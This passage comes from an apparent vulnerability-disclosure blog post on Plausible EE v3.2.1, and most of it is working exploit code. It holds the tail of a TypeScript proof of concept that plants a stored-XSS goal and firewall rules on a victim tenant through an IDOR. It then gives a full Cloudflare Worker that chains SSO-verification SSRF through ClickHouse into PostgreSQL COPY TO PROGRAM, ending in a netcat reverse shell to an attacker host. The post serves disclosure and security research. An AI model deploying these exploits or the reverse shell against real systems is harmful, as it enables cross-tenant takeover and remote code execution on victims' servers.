  {
    const lv = await lvOpen(`${BASE}/${attackerDomain}/settings/goals`);
    const modalCid = findModalCid(lv.frames());
    await lv.event("2", {
      type: "click",
      event: "edit-goal",
      value: { "goal-id": String(goalId) },
    });
    await lv.event("3", { type: "click", event: "open", value: {} }, modalCid);
    const formCid = findFormCid(lv.frames());
    log.info(`modal cid=${modalCid}  form cid=${formCid}`);
    const r = await lv.event(
      "4",
      {
        type: "form",
        event: "save-goal",
        value: formBody({
          "goal[site_id]": VICTIM_SITE_ID, // <-- the IDOR: mass-assigned
          "goal[page_path]": PAGE_PATH,
          "goal[scroll_threshold]": 90,
          "goal[display_name]": XSS_PAYLOAD,
        }),
      },
      formCid,
    );
    lv.close();
    if (r?.[4]?.status !== "ok")
      throw new Error(
        `save-goal(update/re-parent) failed: ${JSON.stringify(r).slice(0, 300)}`,
      );
    log.ok(
      `save-goal(update) status=ok — goal re-parented onto ${VICTIM_DOMAIN}`,
    );
  }

  log.hdr(`Stage 6: cross-tenant Shield-rule IDOR -> ${VICTIM_DOMAIN}`);
  {
    const shieldRules = [
      {
        slug: "hostnames",
        event: "save-hostname-rule",
        fields: {
          "hostname_rule[site_id]": VICTIM_SITE_ID,
          "hostname_rule[hostname]": `google.com`,
          "hostname_rule[action]": "allow",
        },
      },
      {
        slug: "ip_addresses",
        event: "save-ip-rule",
        fields: {
          "ip_rule[site_id]": VICTIM_SITE_ID,
          "ip_rule[inet]": `203.0.113.${TS % 254}`,
          "ip_rule[description]": `pwned`,
          "ip_rule[action]": "deny",
        },
      },
      {
        slug: "pages",
        event: "save-page-rule",
        fields: {
          "page_rule[site_id]": VICTIM_SITE_ID,
          "page_rule[page_path]": `/pwn`,
          "page_rule[action]": "deny",
        },
      },
      {
        slug: "countries",
        event: "save-country-rule",
        fields: {
          "country_rule[site_id]": VICTIM_SITE_ID,
          "country_rule[country_code]": "US",
          "country_rule[action]": "deny",
        },
      },
    ];

    for (const rule of shieldRules) {
      const lv = await lvOpen(
        `${BASE}/${attackerDomain}/settings/shields/${rule.slug}`,
      );
      const cid = findShieldCid(lv.html, rule.event);
      const r = await lv.event(
        "2",
        { type: "form", event: rule.event, value: formBody(rule.fields) },
        cid,
      );
      lv.close();
      log.ok(`${rule.event} reply status=${r?.[4]?.status}`);
    }
  }

  log.hdr("DONE — goal stored-XSS + shield IDOR planted on victim");
  log.ok(
    `Goal ${goalId} now belongs to ${VICTIM_DOMAIN} (site_id=${VICTIM_SITE_ID}).`,
  );
  log.info(
    `Trigger: a ${VICTIM_DOMAIN} owner/admin opens  ${BASE}/${VICTIM_DOMAIN}/settings/goals`,
  );
  log.info(`         and clicks "edit" on goal "${PAGE_PATH}".`);
}

main().catch((e) => {
  console.error(e);
  process.exit(1);
});
poc-idor.tsTypeScript · 418 lines

On May 22, 2026, I disclosed the full vulnerability chain and all reproduction details to the Plausible team.

Bug 03 / SSRF → RCE

SSO domain verification SSRF to PostgreSQL RCE

Affected: Tested on Plausible EE v3.2.1

The third chain was in Plausible EE’s SSO domain-verification worker. It fetched an attacker-controlled HTTPS URL with Req 0.5.16 and followed redirects across hosts and schemes without blocking private addresses or Docker service names. A verification redirect could therefore reach the unauthenticated ClickHouse service on the internal network.

ClickHouse was then used to create a PostgreSQL-source dictionary whose query contained COPY ... TO PROGRAM, resulting in command execution as uid=70(postgres) inside the database container. The video below shows the complete SSRF-to-RCE chain on plausible-ee:v3.2.1.

SSO domain verification follows an attacker-controlled redirect into ClickHouse, which is chained into command execution in the PostgreSQL container.
cloudflare-worker.tsTypeScript · 83 lines
interface Env {
  CH_HOST?: string;
  CH_PORT?: string;
  PG_HOST?: string;
  PG_PORT?: string;
  PG_USER?: string;
  PG_PASS?: string;
  PG_DB?: string;
  DICT_NAME?: string;
  PROG?: string;
  LHOST?: string;
  LPORT?: string;
}

function revShell(lhost: string, lport: string) {
  return `sh -c "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ${lhost} ${lport} >/tmp/f"`;
}

function buildPayload(env: Env, q: URLSearchParams) {
  const pick = (k: keyof Env, qk: string, fallback: string) =>
    q.get(qk) ?? env[k] ?? fallback;

  const CH_HOST = pick("CH_HOST", "ch", "plausible_events_db");
  const CH_PORT = pick("CH_PORT", "ch_port", "8123");
  const PG_HOST = pick("PG_HOST", "pg", "plausible_db");
  const PG_PORT = pick("PG_PORT", "pg_port", "5432");
  const PG_USER = pick("PG_USER", "pg_user", "postgres");
  const PG_PASS = pick("PG_PASS", "pg_pass", "postgres");
  const PG_DB = pick("PG_DB", "pg_db", "plausible_db");
  const DICT = pick("DICT_NAME", "dict", "pwn_dict");
  const LHOST = pick("LHOST", "lhost", "host.docker.internal");
  const LPORT = pick("LPORT", "lport", "4444");
  const PROG = pick("PROG", "prog", revShell(LHOST, LPORT));

  const CH = `http://${CH_HOST}:${CH_PORT}/`;

  const PG_INJ_RAW = `SELECT 1::bigint as id, 'x'::text as v) TO PROGRAM $$${PROG}$$; --`;
  const PG_INJ_CH1 = PG_INJ_RAW.replace(/'/g, "''");

  const CREATE_DICT_BODY =
    `CREATE OR REPLACE DICTIONARY default.${DICT} (id UInt64, v String) ` +
    `PRIMARY KEY id ` +
    `SOURCE(POSTGRESQL(host '${PG_HOST}' port ${PG_PORT} user '${PG_USER}' ` +
    `password '${PG_PASS}' db '${PG_DB}' query '${PG_INJ_CH1}')) ` +
    `LAYOUT(FLAT()) LIFETIME(MIN 0 MAX 1)`;


  const OUTER_INSERT =
    `INSERT INTO FUNCTION url('${CH}', RawBLOB, 'q String') ` +
    `VALUES ('${CREATE_DICT_BODY.replace(/'/g, "''")}')`;

  const TRIGGER = `SELECT dictGet('default.${DICT}', 'v', toUInt64(1))`;

  return {
    CH,
    URL_CREATE: `${CH}?query=${encodeURIComponent(OUTER_INSERT)}`,
    URL_TRIGGER: `${CH}?query=${encodeURIComponent(TRIGGER)}`,
  };
}

export default {
  async fetch(req: Request, env: Env): Promise<Response> {
    const url = new URL(req.url);
    const { CH, URL_CREATE, URL_TRIGGER } = buildPayload(env, url.searchParams);


    if (url.pathname === "/plausible-sso-verification") {
      return new Response(null, {
        status: 302,
        headers: { Location: URL_CREATE, "Cache-Control": "no-store" },
      });
    }

    if (url.pathname === "/") {
      return new Response(null, {
        status: 302,
        headers: { Location: URL_TRIGGER, "Cache-Control": "no-store" },
      });
    }

    return new Response("ok\n", { headers: { "Content-Type": "text/plain" } });
  },
};
cloudflare-worker.tsTypeScript · 83 lines

On June 1, 2026, I disclosed the full SSRF-to-RCE chain to the Plausible team.

# More posts